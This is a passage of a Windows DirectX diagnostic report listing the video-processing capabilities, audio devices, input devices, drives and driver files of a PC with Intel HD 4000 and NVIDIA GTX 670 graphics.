{335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend D3D9 Overlay: Supported DXVA-HD: Supported DDraw Status: Enabled D3D Status: Enabled AGP Status: Enabled ------------- Sound Devices ------------- Description: Speakers (Plantronics GameCom 780) Default Sound Playback: Yes Default Voice Playback: Yes Hardware ID: USB\VID_047F&PID_C010&REV_0100&MI_00 Manufacturer ID: 65535 Product ID: 65535 Type: WDM Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/26/2012 03:26:27, 121856 bytes Other Files: Driver Provider: Microsoft HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No Description: Speakers (High Definition Audio Device) Default Sound Playback: No Default Voice Playback: No Hardware ID: HDAUDIO\FUNC_01&VEN_10EC&DEV_0899&SUBSYS_18491898&REV_1000 Manufacturer ID: 1 Product ID: 65535 Type: WDM Driver Name: HdAudio.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/26/2012 03:26:51, 339968 bytes Other Files: Driver Provider: Microsoft HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No Description: Digital Audio (S/PDIF) (High Definition Audio Device) Default Sound Playback: No Default Voice Playback: No Hardware ID: HDAUDIO\FUNC_01&VEN_10EC&DEV_0899&SUBSYS_18491898&REV_1000 Manufacturer ID: 1 Product ID: 65535 Type: WDM Driver Name: HdAudio.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/26/2012 03:26:51, 339968 bytes Other Files: Driver Provider: Microsoft HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No --------------------- Sound Capture Devices --------------------- Description: Microphone (Plantronics GameCom 780) Default Sound Capture: Yes Default Voice Capture: Yes Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail Date and Size: 7/26/2012 03:26:27, 121856 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF Description: SPDIF Interface (Plantronics GameCom 780) Default Sound Capture: No Default Voice Capture: No Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail Date and Size: 7/26/2012 03:26:27, 121856 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF Description: Line (Plantronics GameCom 780) Default Sound Capture: No Default Voice Capture: No Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail Date and Size: 7/26/2012 03:26:27, 121856 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF ------------------- DirectInput Devices ------------------- Device Name: Mouse Attached: 1 Controller ID: n/a Vendor/Product ID: n/a FF Driver: n/a Device Name: Keyboard Attached: 1 Controller ID: n/a Vendor/Product ID: n/a FF Driver: n/a Device Name: Plantronics GameCom 780 Attached: 1 Controller ID: 0x0 Vendor/Product ID: 0x047F, 0xC010 FF Driver: n/a Poll w/ Interrupt: No ----------- USB Devices ----------- + USB Root Hub | Vendor/Product ID: 0x8086, 0x1E2D | Matching Device ID: USB\ROOT_HUB20 | Service: usbhub | Driver: usbhub.sys, 7/26/2012 06:00:58, 496368 bytes | Driver: usbd.sys, 7/26/2012 06:00:58, 21744 bytes | +-+ Generic USB Hub | | Vendor/Product ID: 0x8087, 0x0024 | | Location: Port_#0001.Hub_#0001 | | Matching Device ID: USB\Class_09 | | Service: usbhub | | Driver: usbhub.sys, 7/26/2012 06:00:58, 496368 bytes | | Driver: usbd.sys, 7/26/2012 06:00:58, 21744 bytes ---------------- Gameport Devices ---------------- ------------ PS/2 Devices ------------ + Standard PS/2 Keyboard | Matching Device ID: *PNP0303 | Service: i8042prt | Driver: i8042prt.sys, 7/26/2012 03:28:51, 112640 bytes | Driver: kbdclass.sys, 7/26/2012 06:00:52, 48368 bytes | + HID Keyboard Device | Vendor/Product ID: 0x1532, 0x0015 | Matching Device ID: HID_DEVICE_SYSTEM_KEYBOARD | Service: kbdhid | Driver: kbdhid.sys, 7/26/2012 03:28:49, 29184 bytes | Driver: kbdclass.sys, 7/26/2012 06:00:52, 48368 bytes | + HID-compliant mouse | Vendor/Product ID: 0x1532, 0x0015 | Matching Device ID: HID_DEVICE_SYSTEM_MOUSE | Service: mouhid | Driver: mouhid.sys, 7/26/2012 03:28:47, 26112 bytes | Driver: mouclass.sys, 7/26/2012 06:00:55, 45808 bytes ------------------------ Disk & DVD/CD-ROM Drives ------------------------ Drive: C: Free Space: 1843.8 GB Total Space: 1874.6 GB File System: NTFS Model: ST2000DM001-1CH164 Drive: D: Free Space: 273.0 GB Total Space: 715.4 GB File System: NTFS Model: WDC WD7500AACS-00D6B0 Drive: E: Model: PIONEER DVD-RW DVR-220L Driver: c:\windows\system32\drivers\cdrom.sys, 6.02.9200.16384 (English), 7/26/2012 03:26:36, 174080 bytes -------------- System Devices -------------- Name: Intel(R) 7 Series/C216 Chipset Family USB Enhanced Host Controller - 1E2D Device ID: PCI\VEN_8086&DEV_1E2D&SUBSYS_1E2D1849&REV_04\3&11583659&0&D0 Driver: C:\WINDOWS\system32\drivers\usbehci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 78576 bytes Driver: C:\WINDOWS\system32\drivers\usbport.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 487664 bytes Driver: C:\WINDOWS\system32\drivers\usbhub.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 496368 bytes Name: Intel(R) 7 Series/C216 Chipset Family USB Enhanced Host Controller - 1E26 Device ID: PCI\VEN_8086&DEV_1E26&SUBSYS_1E261849&REV_04\3&11583659&0&E8 Driver: C:\WINDOWS\system32\drivers\usbehci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 78576 bytes Driver: C:\WINDOWS\system32\drivers\usbport.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 487664 bytes Driver: C:\WINDOWS\system32\drivers\usbhub.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 496368 bytes Name: High Definition Audio Controller Device ID: PCI\VEN_8086&DEV_1E20&SUBSYS_18981849&REV_04\3&11583659&0&D8 Driver: C:\WINDOWS\system32\DRIVERS\hdaudbus.sys, 6.02.9200.16384 (English), 7/26/2012 03:27:36, 71168 bytes Name: Intel(R) 7 Series/C216 Chipset Family SMBus Host Controller - 1E22 Device ID: PCI\VEN_8086&DEV_1E22&SUBSYS_1E221849&REV_04\3&11583659&0&FB Driver: n/a Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 5 - 1E18 Device ID: PCI\VEN_8086&DEV_1E18&SUBSYS_1E181849&REV_C4\3&11583659&0&E4 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 4 - 1E16 Device ID: PCI\VEN_8086&DEV_1E16&SUBSYS_1E161849&REV_C4\3&11583659&0&E3 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: High Definition Audio Controller Device ID: PCI\VEN_10DE&DEV_0E0A&SUBSYS_355A1458&REV_A1\4&15001D53&0&0108 Driver: C:\WINDOWS\system32\DRIVERS\hdaudbus.sys, 6.02.9200.16384 (English), 7/26/2012 03:27:36, 71168 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 1 - 1E10 Device ID: PCI\VEN_8086&DEV_1E10&SUBSYS_1E101849&REV_C4\3&11583659&0&E0 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) HD Graphics 4000 Device ID: PCI\VEN_8086&DEV_0162&SUBSYS_01621849&REV_09\3&11583659&0&10 Driver: C:\WINDOWS\system32\DRIVERS\igdkmd64.sys, 9.17.0010.2932 (English), 12/14/2012 02:42:22, 5353888 bytes Driver: C:\WINDOWS\system32\igdumd64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:34, 12615680 bytes Driver: C:\WINDOWS\system32\igd10umd64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:26, 12858368 bytes Driver: C:\WINDOWS\system32\igfxcmrt64.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:20, 518656 bytes Driver: C:\WINDOWS\system32\igfx11cmrt64.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:26, 483840 bytes Driver: C:\WINDOWS\system32\igfxcmjit64.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:12, 3511296 bytes Driver: C:\WINDOWS\system32\IccLibDll_x64.dll, 12/14/2012 02:42:12, 94208 bytes Driver: C:\WINDOWS\system32\igcodeckrng700.bin, 12/14/2012 02:42:24, 754652 bytes Driver: C:\WINDOWS\system32\igvpkrng700.bin, 12/14/2012 02:42:24, 598384 bytes Driver: C:\WINDOWS\SysWow64\igcodeckrng700.bin, 12/14/2012 02:42:24, 754652 bytes Driver: C:\WINDOWS\SysWow64\igvpkrng700.bin, 12/14/2012 02:42:24, 598384 bytes Driver: C:\WINDOWS\system32\igdde64.dll, 12/14/2012 02:42:24, 80384 bytes Driver: C:\WINDOWS\SysWow64\igdde32.dll, 12/14/2012 02:42:30, 64512 bytes Driver: C:\WINDOWS\system32\iglhxs64.vp, 12/14/2012 02:42:20, 17102 bytes Driver: C:\WINDOWS\system32\iglhxo64.vp, 6/2/2012 15:32:34, 59425 bytes Driver: C:\WINDOWS\system32\iglhxc64.vp, 6/2/2012 15:32:34, 59230 bytes Driver: C:\WINDOWS\system32\iglhxg64.vp, 6/2/2012 15:32:34, 59398 bytes Driver: C:\WINDOWS\system32\iglhxo64_dev.vp, 6/2/2012 15:32:34, 58109 bytes Driver: C:\WINDOWS\system32\iglhxc64_dev.vp, 6/2/2012 15:32:34, 59104 bytes Driver: C:\WINDOWS\system32\iglhxg64_dev.vp, 6/2/2012 15:32:34, 58796 bytes Driver: C:\WINDOWS\system32\iglhxa64.vp, 6/2/2012 15:32:34, 1074 bytes Driver: C:\WINDOWS\system32\iglhxa64.cpa, 6/2/2012 15:32:34, 1981696 bytes Driver: C:\WINDOWS\system32\iglhcp64.dll, 3.00.0001.0016 (English), 12/14/2012 02:42:10, 216064 bytes Driver: C:\WINDOWS\system32\iglhsip64.dll, 3.00.0000.0012 (English), 12/14/2012 02:42:24, 524800 bytes Driver: C:\WINDOWS\SysWow64\igdumd32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:24, 11049472 bytes Driver: C:\WINDOWS\SysWow64\igfxdv32.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 330752 bytes Driver: C:\WINDOWS\SysWow64\igd10umd32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:30, 11174912 bytes Driver: C:\WINDOWS\SysWow64\iglhcp32.dll, 3.00.0001.0015 (English), 12/14/2012 02:42:30, 180224 bytes Driver: C:\WINDOWS\SysWow64\iglhsip32.dll, 3.00.0000.0012 (English), 12/14/2012 02:42:24, 519680 bytes Driver: C:\WINDOWS\SysWow64\IntelCpHeciSvc.exe, 1.00.0001.0014 (English), 12/14/2012 02:42:10, 277616 bytes Driver: C:\WINDOWS\SysWow64\igfxcmrt32.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:28, 640512 bytes Driver: C:\WINDOWS\SysWow64\igfx11cmrt32.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:24, 459264 bytes Driver: C:\WINDOWS\SysWow64\igfxcmjit32.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:28, 3121152 bytes Driver: C:\WINDOWS\system32\difx64.exe, 1.04.0002.0000 (English), 12/14/2012 02:42:22, 185968 bytes Driver: C:\WINDOWS\system32\hccutils.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 110592 bytes Driver: C:\WINDOWS\system32\igfxsrvc.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 64000 bytes Driver: C:\WINDOWS\system32\igfxsrvc.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 512112 bytes Driver: C:\WINDOWS\system32\igfxpph.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:34, 384512 bytes Driver: C:\WINDOWS\system32\igfxcpl.cpl, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 126976 bytes Driver: C:\WINDOWS\system32\igfxdev.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 442880 bytes Driver: C:\WINDOWS\system32\igfxdo.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 142336 bytes Driver: C:\WINDOWS\system32\igfxtray.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 172144 bytes Driver: C:\WINDOWS\system32\hkcmd.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:10, 399984 bytes Driver: C:\WINDOWS\system32\igfxress.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 9007616 bytes Driver: C:\WINDOWS\system32\igfxpers.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 441968 bytes Driver: C:\WINDOWS\system32\igfxTMM.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 410112 bytes Driver: C:\WINDOWS\system32\gfxSrvc.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 175104 bytes Driver: C:\WINDOWS\system32\GfxUI.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 5906032 bytes Driver: C:\WINDOWS\system32\GfxUI.exe.config, 12/14/2012 02:42:28, 268 bytes Driver: C:\WINDOWS\system32\IGFXDEVLib.dll, 1.00.0000.0000 (Invariant Language), 12/14/2012 02:42:36, 9728 bytes Driver: C:\WINDOWS\system32\igfxext.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 255088 bytes Driver: C:\WINDOWS\system32\igfxexps.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 28672 bytes Driver: C:\WINDOWS\SysWow64\igfxexps32.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:22, 25088 bytes Driver: C:\WINDOWS\system32\igfxrara.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 435712 bytes Driver: C:\WINDOWS\system32\igfxrchs.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 428544 bytes Driver: C:\WINDOWS\system32\igfxrcht.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 429056 bytes Driver: C:\WINDOWS\system32\igfxrdan.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 437248 bytes Driver: C:\WINDOWS\system32\igfxrdeu.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 438784 bytes Driver: C:\WINDOWS\system32\igfxrenu.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 286208 bytes Driver: C:\WINDOWS\system32\igfxresn.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 439808 bytes Driver: C:\WINDOWS\system32\igfxrfin.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:20, 438272 bytes Driver: C:\WINDOWS\system32\igfxrfra.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 439808 bytes Driver: C:\WINDOWS\system32\igfxrheb.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 435712 bytes Driver: C:\WINDOWS\system32\igfxrhrv.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 438784 bytes Driver: C:\WINDOWS\system32\igfxrita.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 438784 bytes Driver: C:\WINDOWS\system32\igfxrjpn.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:20, 432128 bytes Driver: C:\WINDOWS\system32\igfxrkor.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 431104 bytes Driver: C:\WINDOWS\system32\igfxrnld.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 438784 bytes Driver: C:\WINDOWS\system32\igfxrnor.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:36, 437760 bytes Driver: C:\WINDOWS\system32\igfxrplk.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 438784 bytes Driver: C:\WINDOWS\system32\igfxrptb.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 437760 bytes Driver: C:\WINDOWS\system32\igfxrptg.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 438784 bytes Driver: C:\WINDOWS\system32\igfxrrom.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:22, 439296 bytes Driver: C:\WINDOWS\system32\igfxrrus.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 439296 bytes Driver: C:\WINDOWS\system32\igfxrsky.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 438784 bytes Driver: C:\WINDOWS\system32\igfxrslv.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:10, 437760 bytes Driver: C:\WINDOWS\system32\igfxrsve.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:20, 437760 bytes Driver: C:\WINDOWS\system32\igfxrtha.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 437248 bytes Driver: C:\WINDOWS\system32\igfxrcsy.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:22, 438272 bytes Driver: C:\WINDOWS\system32\igfxrell.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 440320 bytes Driver: C:\WINDOWS\system32\igfxrhun.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 438272 bytes Driver: C:\WINDOWS\system32\igfxrtrk.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 437760 bytes Driver: C:\WINDOWS\system32\Gfxres.ar-SA.resources, 12/14/2012 02:42:30, 166124 bytes Driver: C:\WINDOWS\system32\Gfxres.cs-CZ.resources, 12/14/2012 02:42:12, 142267 bytes Driver: C:\WINDOWS\system32\Gfxres.da-DK.resources, 12/14/2012 02:42:16, 137132 bytes Driver: C:\WINDOWS\system32\Gfxres.de-DE.resources, 12/14/2012 02:42:28, 147360 bytes Driver: C:\WINDOWS\system32\Gfxres.el-GR.resources, 12/14/2012 02:42:30, 209986 bytes Driver: C:\WINDOWS\system32\Gfxres.es-ES.resources, 12/14/2012 02:42:22, 147269 bytes Driver: C:\WINDOWS\system32\Gfxres.en-US.resources, 12/14/2012 02:42:30, 132623 bytes Driver: C:\WINDOWS\system32\Gfxres.fi-FI.resources, 12/14/2012 02:42:22, 141998 bytes Driver: C:\WINDOWS\system32\Gfxres.fr-FR.resources, 12/14/2012 02:42:36, 145470 bytes Driver: C:\WINDOWS\system32\Gfxres.he-IL.resources, 12/14/2012 02:42:10, 158986 bytes Driver: C:\WINDOWS\system32\Gfxres.hr-HR.resources, 12/14/2012 02:42:30, 141038 bytes Driver: C:\WINDOWS\system32\Gfxres.hu-HU.resources, 12/14/2012 02:42:30, 143916 bytes Driver: C:\WINDOWS\system32\Gfxres.it-IT.resources, 12/14/2012 02:42:10, 149649 bytes Driver: C:\WINDOWS\system32\Gfxres.ja-JP.resources, 12/14/2012 02:42:30, 163379 bytes Driver: C:\WINDOWS\system32\Gfxres.ko-KR.resources, 12/14/2012 02:42:24, 148018 bytes Driver: C:\WINDOWS\system32\Gfxres.nb-NO.resources, 12/14/2012 02:42:24, 137793 bytes Driver: C:\WINDOWS\system32\Gfxres.nl-NL.resources, 12/14/2012 02:42:12, 143989 bytes Driver: C:\WINDOWS\system32\Gfxres.pl-PL.resources, 12/14/2012 02:42:26, 142682 bytes Driver: C:\WINDOWS\system32\Gfxres.pt-BR.resources, 12/14/2012 02:42:36, 144235 bytes Driver: C:\WINDOWS\system32\Gfxres.pt-PT.resources, 12/14/2012 02:42:24, 143249 bytes Driver: C:\WINDOWS\system32\Gfxres.ro-RO.resources, 12/14/2012 02:42:22, 145974 bytes Driver: C:\WINDOWS\system32\Gfxres.ru-RU.resources, 12/14/2012 02:42:28, 194121 bytes Driver: C:\WINDOWS\system32\Gfxres.sk-SK.resources, 12/14/2012 02:42:24, 141833 bytes Driver: C:\WINDOWS\system32\Gfxres.sl-SI.resources, 12/14/2012 02:42:22, 137880 bytes Driver: C:\WINDOWS\system32\Gfxres.sv-SE.resources, 12/14/2012 02:42:24, 142876 bytes Driver: C:\WINDOWS\system32\Gfxres.th-TH.resources, 12/14/2012 02:42:12, 223492 bytes Driver: C:\WINDOWS\system32\Gfxres.tr-TR.resources, 12/14/2012 02:42:30, 144637 bytes Driver: C:\WINDOWS\system32\Gfxres.zh-CN.resources, 12/14/2012 02:42:30, 124662 bytes Driver: C:\WINDOWS\system32\Gfxres.zh-TW.resources, 12/14/2012 02:42:12, 126294 bytes Driver: C:\WINDOWS\system32\ig7icd64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:22, 11633152 bytes Driver: C:\WINDOWS\SysWow64\ig7icd32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:20, 8621056 bytes Driver: C:\WINDOWS\system32\Intel_OpenCL_ICD64.dll, 1.02.0001.0000 (English), 12/14/2012 02:42:22, 56832 bytes Driver: C:\WINDOWS\system32\IntelOpenCL64.dll, 1.01.0000.1003 (English), 12/14/2012 02:42:26, 241664 bytes Driver: C:\WINDOWS\system32\igdbcl64.dll, 9.17.0010.2884 (English), 12/14/2012 02:42:14, 3581440 bytes Driver: C:\WINDOWS\system32\igdrcl64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:12, 27664896 bytes Driver: C:\WINDOWS\system32\igdfcl64.dll, 8.01.0000.2932 (English), 12/14/2012 02:42:20, 27457536 bytes Driver: C:\WINDOWS\SysWow64\Intel_OpenCL_ICD32.dll, 1.02.0001.0000 (English), 12/14/2012 02:42:12, 56320 bytes Driver: C:\WINDOWS\SysWow64\IntelOpenCL32.dll, 1.01.0000.1003 (English), 12/14/2012 02:42:36, 196096 bytes Driver: C:\WINDOWS\SysWow64\igdbcl32.dll, 9.17.0010.2884 (English), 12/14/2012 02:42:12, 2898944 bytes Driver: C:\WINDOWS\SysWow64\igdrcl32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:16, 27643904 bytes Driver: C:\WINDOWS\SysWow64\igdfcl32.dll, 8.01.0000.2932 (English), 12/14/2012 02:42:36, 21850112 bytes Driver: C:\WINDOWS\system32\igfxCoIn_v2932.dll, 1.02.0030.0000 (English), 12/14/2012 02:42:20, 116224 bytes Name: NVIDIA GeForce GTX 670 Device ID: PCI\VEN_10DE&DEV_1189&SUBSYS_355A1458&REV_A1\4&15001D53&0&0008 Driver: C:\Program Files\NVIDIA Corporation\Drs\dbInstaller.exe, 8.17.0013.1106 (English), 2/26/2013 00:32:28, 233760 bytes Driver: C:\Program Files\NVIDIA Corporation\Drs\nvdrsdb.bin, 2/26/2013 00:32:36, 1102808 bytes Driver: C:\WINDOWS\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_67d640ab45cc6b34\NvCplSetupInt.exe, 1.00.0001.0000 (English), 2/26/2013 00:32:22, 73372616 bytes Driver: C:\Program Files (x86)\NVIDIA Corporation\coprocmanager\Nvd3d9wrap.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:42, 286536 bytes Driver: C:\Program Files (x86)\NVIDIA Corporation\coprocmanager\detoured.dll, 2/26/2013 00:32:42, 4096 bytes Driver: C:\Program Files (x86)\NVIDIA Corporation\coprocmanager\nvdxgiwrap.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:40, 193336 bytes Driver: C:\Program Files\NVIDIA Corporation\coprocmanager\Nvd3d9wrapx.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:28, 327248 bytes Driver: C:\Program Files\NVIDIA Corporation\coprocmanager\detoured.dll, 2/26/2013 00:32:36, 4096 bytes Driver: C:\Program Files\NVIDIA Corporation\coprocmanager\nvdxgiwrapx.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:04, 228880 bytes Driver: C:\Program Files\NVIDIA Corporation\license.txt, 2/26/2013 00:32:08, 21898 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\MCU.exe, 1.00.4647.21994 (English), 2/26/2013 00:32:08, 1562400 bytes Driver: C:\Program Files\NVIDIA 